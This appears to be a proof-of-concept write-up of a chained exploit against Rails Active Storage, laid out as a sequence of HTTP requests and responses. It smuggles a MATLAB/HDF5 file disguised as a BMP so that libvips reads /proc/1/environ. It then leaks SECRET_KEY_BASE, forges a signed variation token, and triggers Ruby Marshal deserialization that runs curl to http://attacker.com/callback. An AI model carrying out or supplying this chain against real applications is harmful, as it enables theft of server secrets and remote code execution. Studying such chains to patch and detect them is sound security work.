GET / HTTP/1.1
Host: victim.com
Response
<meta name="csrf-token"
content="7G3F...TOKEN...ABCD">Extract the CSRF token.
The PoC first uploads a harmless PNG.
POST /uploads HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----
------BOUNDARY
Content-Disposition: form-data; name="authenticity_token"
CSRF_TOKEN
------BOUNDARY
Content-Disposition: form-data;
name="upload[avatar]";
filename="safe.png"
<PNG DATA>
------BOUNDARY--
Response
HTTP/1.1 200 OK
Inside HTML:
<img src="/rails/active_storage/representations/redirect/.../safe.png">This representation URL becomes important later.
Rails Active Storage allows JavaScript clients to upload files directly.
POST /rails/active_storage/direct_uploads HTTP/1.1
Content-Type: application/json
X-CSRF-Token: CSRF_TOKEN
{
"blob":{
"filename":"profile.bmp",
"byte_size":12345,
"checksum":"....",
"content_type":"image/bmp"
}
}
Response
{
"signed_id":"eyJ...",
"direct_upload":{
"url":"/rails/active_storage/disk/....",
"headers":{
"Content-Type":"image/bmp"
}
}
}Now the attacker has:
- upload URL
- signed blob ID
This is not really a BMP.
It is actually
MATLAB
+
HDF5
+
External Dataset
+
Embedded Ruby Marshal Payload
Uploaded with
PUT /rails/active_storage/disk/... HTTP/1.1
Content-Type: image/bmp
<malicious file>
Response
204 No Content
Now the representation URL is modified to use the uploaded blob.
GET /rails/active_storage/representations/redirect/<signed_blob>/profile.bmp
At this point Rails asks libvips to process the image.
Instead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.
The HDF5 file contains an External Dataset pointing to
/proc/1/environ
So libvips loads
/proc/1/environ
instead of image pixels.
The response is still a PNG image.
However its pixels now contain the contents of
/proc/1/environ
The PoC parses the returned PNG.
Inside the pixels it extracts
SECRET_KEY_BASE=xxxxxxxxxxxxxxxx
This is the Rails signing secret.
Now the PoC computes
HMAC(secret,
serialized Ruby Marshal payload)
creating a valid Rails signed token.
This is equivalent to forging a legitimate
variation_key
for Active Storage.
GET /rails/active_storage/representations/redirect/<FORGED_TOKEN>/safe.png
This time Rails trusts the forged token because it is correctly signed with the recovered SECRET_KEY_BASE.
Rails deserializes the embedded Ruby Marshal object.
The Marshal object eventually invokes
MiniMagick::Tool
configured as
/usr/bin/curl
with arguments similar to
curl \
--silent \
--show-error \
--max-time 8 \
--output /dev/null \
http://attacker.com/callback
The outbound callback proves code execution without returning sensitive data.
GET /
│
▼
Receive CSRF Token
│
▼
POST /uploads
│
▼
Receive Representation URL
│
▼
POST /rails/active_storage/direct_uploads
│
▼
Receive signed_id + upload URL
│
▼
PUT malicious BMP
│
▼
GET representation(profile.bmp)
│
▼
libvips reads /proc/1/environ
│
▼
SECRET_KEY_BASE leaked
│
▼
Forge Rails signed token
│
▼
GET representation(forged token)
│
▼
Marshal Deserialization
│
▼
MiniMagick::Tool
│
▼
curl attacker callback
This is not a single vulnerability, but a chained exploit:
- Arbitrary file read via libvips external HDF5 dataset (
/proc/1/environ). - Leak of
SECRET_KEY_BASEfrom the Rails process environment. - Forgery of Active Storage signed variation tokens using the leaked secret.
- Unsafe Ruby Marshal deserialization of the forged variation.
- Command execution through the
MiniMagick::Toolgadget (demonstrated with an outboundcurlcallback).